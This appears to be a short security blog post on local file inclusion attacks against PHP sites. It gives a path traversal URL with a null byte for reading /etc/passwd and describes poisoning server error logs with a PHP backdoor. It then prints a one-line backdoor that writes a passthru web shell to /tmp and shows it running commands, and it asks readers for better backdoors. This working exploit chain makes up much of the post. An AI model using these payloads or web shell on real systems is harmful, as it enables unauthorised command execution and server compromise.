I’ve been playing around a lot more with LFI attacks, because I think they’re more prevalent than I originally had expected. Last night I had cigars with one of the OWASP guys and I got to thinking that I should probably do a quick post about this. For those who aren’t clued in about LFI (local file include) attacks, it basically means that PHP is pulling in a file locally and running it (you see that happen a lot with flags like language=en where en represents a file called en.php). So an attack might look like:
http://www.example.com/index.php?language=../../../../../../etc/passwd%00
The null byte is to truncate anything at the end that the php file might be trying to append to the end of the file, like “.php” in “en.php” and so on. Although in that example password files aren’t PHP so it’s not helping you much beyond being able to read files off the file system. So the next step is finding the log files and injecting a PHP backdoor through a user agent or referring URL. There’s some problems with this depending on how you do it because Apache logs will escape quotes. Assuming you find a way around that (like using the error logs rather than the access logs) you can inject your PHP backdoor. Here’s my micro backdoor (thanks to Daniel Herrera for inspiration):
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>
So now what this does is throw a PHP file into the /tmp directory (which is typically writable). More importantly that file can now be used to inject commands directly (in the example below it’s executing whoami):
http://www.example.com/index.php?language=../../../../../../tmp/g%00&f=whoami
If anyone has shorter/more effective LFI backdoor, please let me know and I’ll post them.